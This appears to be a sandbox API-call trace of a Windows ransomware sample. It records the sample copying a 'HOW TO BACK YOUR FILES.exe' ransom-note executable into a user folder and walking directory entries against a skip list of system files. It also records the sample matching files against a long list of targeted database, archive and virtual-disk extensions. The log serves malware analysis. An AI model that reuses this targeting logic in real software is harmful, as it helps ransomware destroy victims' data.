	[0054.746] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.747] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.747] GetLastError () returned 0x0
	[0054.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.747] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.747] CloseHandle (hObject=0x14c) returned 1
	[0054.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.747] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.747] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e8d4f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e8d4f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.747] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.747] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.747] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.747] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e8d4f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e8d4f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.747] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.747] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.747] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.747] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.747] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0054.747] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.747] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0054.747] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".") returned 1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="..") returned 1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="windows") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="bootmgr") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="temp") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="pagefile.sys") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="boot") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="ids.txt") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="ntuser.dat") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="perflogs") returned -1
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="MSBuild") returned -1
	[0054.748] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0054.748] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*") returned 55
	[0054.748] lstrcpyW (in: lpString1=0x119e674, lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" | out: lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount"
	[0054.748] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0054.748] lstrlenW (lpString="Apollon865") returned 10
	[0054.748] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0054.748] lstrlenW (lpString=".dll") returned 4
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".dll") returned 1
	[0054.748] lstrlenW (lpString=".lnk") returned 4
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".lnk") returned 1
	[0054.748] lstrlenW (lpString=".ini") returned 4
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".ini") returned 1
	[0054.748] lstrlenW (lpString=".sys") returned 4
	[0054.748] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".sys") returned 1
	[0054.748] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0054.748] lstrlenW (lpString="bak") returned 3
	[0054.748] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0054.748] lstrlenW (lpString="ba_") returned 3
	[0054.748] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0054.748] lstrlenW (lpString="dbb") returned 3
	[0054.748] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0054.748] lstrlenW (lpString="vmdk") returned 4
	[0054.748] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0054.748] lstrlenW (lpString="rar") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0054.749] lstrlenW (lpString="zip") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0054.749] lstrlenW (lpString="tgz") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0054.749] lstrlenW (lpString="vbox") returned 4
	[0054.749] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0054.749] lstrlenW (lpString="vdi") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0054.749] lstrlenW (lpString="vhd") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0054.749] lstrlenW (lpString="vhdx") returned 4
	[0054.749] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0054.749] lstrlenW (lpString="avhd") returned 4
	[0054.749] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0054.749] lstrlenW (lpString="db") returned 2
	[0054.749] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0054.749] lstrlenW (lpString="db2") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0054.749] lstrlenW (lpString="db3") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0054.749] lstrlenW (lpString="dbf") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0054.749] lstrlenW (lpString="mdf") returned 3
	[0054.749] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0054.750] lstrlenW (lpString="mdb") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0054.750] lstrlenW (lpString="sql") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0054.750] lstrlenW (lpString="sqlite") returned 6
	[0054.750] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0054.750] lstrlenW (lpString="sqlite3") returned 7
	[0054.750] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0054.750] lstrlenW (lpString="sqlitedb") returned 8
	[0054.750] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0054.750] lstrlenW (lpString="xml") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0054.750] lstrlenW (lpString="$er") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0054.750] lstrlenW (lpString="4dd") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
	[0054.750] lstrlenW (lpString="4dl") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0054.750] lstrlenW (lpString="^^^") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0054.750] lstrlenW (lpString="abs") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0054.750] lstrlenW (lpString="abx") returned 3
	[0054.750] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0054.750] lstrlenW (lpString="accdb") returned 5
	[0054.750] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0054.750] lstrlenW (lpString="accdc") returned 5
	[0054.750] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0054.750] lstrlenW (lpString="accde") returned 5
	[0054.750] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0054.750] lstrlenW (lpString="accdr") returned 5
	[0054.750] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0054.750] lstrlenW (lpString="accdt") returned 5
	[0054.750] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0054.751] lstrlenW (lpString="accdw") returned 5
	[0054.751] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0054.751] lstrlenW (lpString="accft") returned 5
	[0054.751] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
	[0054.751] lstrlenW (lpString="adb") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0054.751] lstrlenW (lpString="adb") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0054.751] lstrlenW (lpString="ade") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0054.751] lstrlenW (lpString="adf") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0054.751] lstrlenW (lpString="adn") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0054.751] lstrlenW (lpString="adp") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0054.751] lstrlenW (lpString="alf") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0054.751] lstrlenW (lpString="ask") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0054.751] lstrlenW (lpString="btr") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0054.751] lstrlenW (lpString="cat") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0054.751] lstrlenW (lpString="cdb") returned 3
	[0054.751] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0054.751] lstrlenW (lpString="ckp") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0054.752] lstrlenW (lpString="cma") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0054.752] lstrlenW (lpString="cpd") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0054.752] lstrlenW (lpString="dacpac") returned 6
	[0054.752] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0054.752] lstrlenW (lpString="dad") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0054.752] lstrlenW (lpString="dadiagrams") returned 10
	[0054.752] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0054.752] lstrlenW (lpString="daschema") returned 8
	[0054.752] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0054.752] lstrlenW (lpString="db-journal") returned 10
	[0054.752] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0054.752] lstrlenW (lpString="db-shm") returned 6
	[0054.752] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0054.752] lstrlenW (lpString="db-wal") returned 6
	[0054.752] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0054.752] lstrlenW (lpString="dbc") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0054.752] lstrlenW (lpString="dbs") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0054.752] lstrlenW (lpString="dbt") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0054.752] lstrlenW (lpString="dbv") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0054.752] lstrlenW (lpString="dbx") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0054.752] lstrlenW (lpString="dcb") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0054.752] lstrlenW (lpString="dct") returned 3
	[0054.752] lstrcmpiW (lpString1="unt", lpString2="dct") returned 1
	[0054.752] lstrlenW (lpString="dcx") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="dcx") returned 1
	[0054.753] lstrlenW (lpString="ddl") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="ddl") returned 1
	[0054.753] lstrlenW (lpString="dlis") returned 4
	[0054.753] lstrcmpiW (lpString1="ount", lpString2="dlis") returned 1
	[0054.753] lstrlenW (lpString="dp1") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="dp1") returned 1
	[0054.753] lstrlenW (lpString="dqy") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="dqy") returned 1
	[0054.753] lstrlenW (lpString="dsk") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="dsk") returned 1
	[0054.753] lstrlenW (lpString="dsn") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="dsn") returned 1
	[0054.753] lstrlenW (lpString="dtsx") returned 4
	[0054.753] lstrcmpiW (lpString1="ount", lpString2="dtsx") returned 1
	[0054.753] lstrlenW (lpString="dxl") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="dxl") returned 1
	[0054.753] lstrlenW (lpString="eco") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="eco") returned 1
	[0054.753] lstrlenW (lpString="ecx") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="ecx") returned 1
	[0054.753] lstrlenW (lpString="edb") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="edb") returned 1
	[0054.753] lstrlenW (lpString="epim") returned 4
	[0054.753] lstrcmpiW (lpString1="ount", lpString2="epim") returned 1
	[0054.753] lstrlenW (lpString="fcd") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="fcd") returned 1
	[0054.753] lstrlenW (lpString="fdb") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="fdb") returned 1
	[0054.753] lstrlenW (lpString="fic") returned 3
	[0054.753] lstrcmpiW (lpString1="unt", lpString2="fic") returned 1
	[0054.753] lstrlenW (lpString="flexolibrary") returned 12
	[0054.753] lstrcmpiW (lpString1="C}.oeaccount", lpString2="flexolibrary") returned -1
	[0054.753] lstrlenW (lpString="fm5") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fm5") returned 1
	[0054.754] lstrlenW (lpString="fmp") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fmp") returned 1
	[0054.754] lstrlenW (lpString="fmp12") returned 5
	[0054.754] lstrcmpiW (lpString1="count", lpString2="fmp12") returned -1
	[0054.754] lstrlenW (lpString="fmpsl") returned 5
	[0054.754] lstrcmpiW (lpString1="count", lpString2="fmpsl") returned -1
	[0054.754] lstrlenW (lpString="fol") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fol") returned 1
	[0054.754] lstrlenW (lpString="fp3") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fp3") returned 1
	[0054.754] lstrlenW (lpString="fp4") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fp4") returned 1
	[0054.754] lstrlenW (lpString="fp5") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fp5") returned 1
	[0054.754] lstrlenW (lpString="fp7") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fp7") returned 1
	[0054.754] lstrlenW (lpString="fpt") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="fpt") returned 1
	[0054.754] lstrlenW (lpString="frm") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="frm") returned 1
	[0054.754] lstrlenW (lpString="gdb") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0054.754] lstrlenW (lpString="gdb") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0054.754] lstrlenW (lpString="grdb") returned 4
	[0054.754] lstrcmpiW (lpString1="ount", lpString2="grdb") returned 1
	[0054.754] lstrlenW (lpString="gwi") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="gwi") returned 1
	[0054.754] lstrlenW (lpString="hdb") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="hdb") returned 1
	[0054.754] lstrlenW (lpString="his") returned 3
	[0054.754] lstrcmpiW (lpString1="unt", lpString2="his") returned 1
	[0054.754] lstrlenW (lpString="ib") returned 2
	[0054.755] lstrcmpiW (lpString1="nt", lpString2="ib") returned 1
	[0054.755] lstrlenW (lpString="idb") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="idb") returned 1
	[0054.755] lstrlenW (lpString="ihx") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="ihx") returned 1
	[0054.755] lstrlenW (lpString="itdb") returned 4
	[0054.755] lstrcmpiW (lpString1="ount", lpString2="itdb") returned 1
	[0054.755] lstrlenW (lpString="itw") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="itw") returned 1
	[0054.755] lstrlenW (lpString="jet") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="jet") returned 1
	[0054.755] lstrlenW (lpString="jtx") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="jtx") returned 1
	[0054.755] lstrlenW (lpString="kdb") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="kdb") returned 1
	[0054.755] lstrlenW (lpString="kexi") returned 4
	[0054.755] lstrcmpiW (lpString1="ount", lpString2="kexi") returned 1
	[0054.755] lstrlenW (lpString="kexic") returned 5
	[0054.755] lstrcmpiW (lpString1="count", lpString2="kexic") returned -1
	[0054.755] lstrlenW (lpString="kexis") returned 5
	[0054.755] lstrcmpiW (lpString1="count", lpString2="kexis") returned -1
	[0054.755] lstrlenW (lpString="lgc") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="lgc") returned 1
	[0054.755] lstrlenW (lpString="lwx") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="lwx") returned 1
	[0054.755] lstrlenW (lpString="maf") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="maf") returned 1
	[0054.755] lstrlenW (lpString="maq") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="maq") returned 1
	[0054.755] lstrlenW (lpString="mar") returned 3
	[0054.755] lstrcmpiW (lpString1="unt", lpString2="mar") returned 1
	[0054.755] lstrlenW (lpString="marshal") returned 7
	[0054.755] lstrcmpiW (lpString1="account", lpString2="marshal") returned -1
	[0054.755] lstrlenW (lpString="mas") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mas") returned 1
	[0054.756] lstrlenW (lpString="mav") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mav") returned 1
	[0054.756] lstrlenW (lpString="maw") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="maw") returned 1
	[0054.756] lstrlenW (lpString="mdbhtml") returned 7
	[0054.756] lstrcmpiW (lpString1="account", lpString2="mdbhtml") returned -1
	[0054.756] lstrlenW (lpString="mdn") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mdn") returned 1
	[0054.756] lstrlenW (lpString="mdt") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mdt") returned 1
	[0054.756] lstrlenW (lpString="mfd") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mfd") returned 1
	[0054.756] lstrlenW (lpString="mpd") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mpd") returned 1
	[0054.756] lstrlenW (lpString="mrg") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mrg") returned 1
	[0054.756] lstrlenW (lpString="mud") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mud") returned 1
	[0054.756] lstrlenW (lpString="mwb") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="mwb") returned 1
	[0054.756] lstrlenW (lpString="myd") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="myd") returned 1
	[0054.756] lstrlenW (lpString="ndf") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="ndf") returned 1
	[0054.756] lstrlenW (lpString="nnt") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="nnt") returned 1
	[0054.756] lstrlenW (lpString="nrmlib") returned 6
	[0054.756] lstrcmpiW (lpString1="ccount", lpString2="nrmlib") returned -1
	[0054.756] lstrlenW (lpString="ns2") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="ns2") returned 1
	[0054.756] lstrlenW (lpString="ns3") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="ns3") returned 1
	[0054.756] lstrlenW (lpString="ns4") returned 3
	[0054.756] lstrcmpiW (lpString1="unt", lpString2="ns4") returned 1
	[0054.757] lstrlenW (lpString="nsf") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="nsf") returned 1
	[0054.757] lstrlenW (lpString="nv") returned 2
	[0054.757] lstrcmpiW (lpString1="nt", lpString2="nv") returned -1
	[0054.757] lstrlenW (lpString="nv2") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="nv2") returned 1
	[0054.757] lstrlenW (lpString="nwdb") returned 4
	[0054.757] lstrcmpiW (lpString1="ount", lpString2="nwdb") returned 1
	[0054.757] lstrlenW (lpString="nyf") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="nyf") returned 1
	[0054.757] lstrlenW (lpString="odb") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0054.757] lstrlenW (lpString="odb") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0054.757] lstrlenW (lpString="oqy") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="oqy") returned 1
	[0054.757] lstrlenW (lpString="ora") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="ora") returned 1
	[0054.757] lstrlenW (lpString="orx") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="orx") returned 1
	[0054.757] lstrlenW (lpString="owc") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="owc") returned 1
	[0054.757] lstrlenW (lpString="p96") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="p96") returned 1
	[0054.757] lstrlenW (lpString="p97") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="p97") returned 1
	[0054.757] lstrlenW (lpString="pan") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="pan") returned 1
	[0054.757] lstrlenW (lpString="pdb") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="pdb") returned 1
	[0054.757] lstrlenW (lpString="pdm") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="pdm") returned 1
	[0054.757] lstrlenW (lpString="pnz") returned 3
	[0054.757] lstrcmpiW (lpString1="unt", lpString2="pnz") returned 1
	[0054.758] lstrlenW (lpString="qry") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="qry") returned 1
	[0054.758] lstrlenW (lpString="qvd") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="qvd") returned 1
	[0054.758] lstrlenW (lpString="rbf") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="rbf") returned 1
	[0054.758] lstrlenW (lpString="rctd") returned 4
	[0054.758] lstrcmpiW (lpString1="ount", lpString2="rctd") returned -1
	[0054.758] lstrlenW (lpString="rod") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="rod") returned 1
	[0054.758] lstrlenW (lpString="rodx") returned 4
	[0054.758] lstrcmpiW (lpString1="ount", lpString2="rodx") returned -1
	[0054.758] lstrlenW (lpString="rpd") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="rpd") returned 1
	[0054.758] lstrlenW (lpString="rsd") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="rsd") returned 1
	[0054.758] lstrlenW (lpString="sas7bdat") returned 8
	[0054.758] lstrcmpiW (lpString1="eaccount", lpString2="sas7bdat") returned -1
	[0054.758] lstrlenW (lpString="sbf") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="sbf") returned 1
	[0054.758] lstrlenW (lpString="scx") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="scx") returned 1
	[0054.758] lstrlenW (lpString="sdb") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="sdb") returned 1
	[0054.758] lstrlenW (lpString="sdc") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="sdc") returned 1
	[0054.758] lstrlenW (lpString="sdf") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="sdf") returned 1
	[0054.758] lstrlenW (lpString="sis") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="sis") returned 1
	[0054.758] lstrlenW (lpString="spq") returned 3
	[0054.758] lstrcmpiW (lpString1="unt", lpString2="spq") returned 1
	[0054.758] lstrlenW (lpString="te") returned 2
	[0054.758] lstrcmpiW (lpString1="nt", lpString2="te") returned -1
	[0054.759] lstrlenW (lpString="teacher") returned 7
	[0054.759] lstrcmpiW (lpString1="account", lpString2="teacher") returned -1
	[0054.759] lstrlenW (lpString="tmd") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="tmd") returned 1
	[0054.759] lstrlenW (lpString="tps") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="tps") returned 1
	[0054.759] lstrlenW (lpString="trc") returned 3
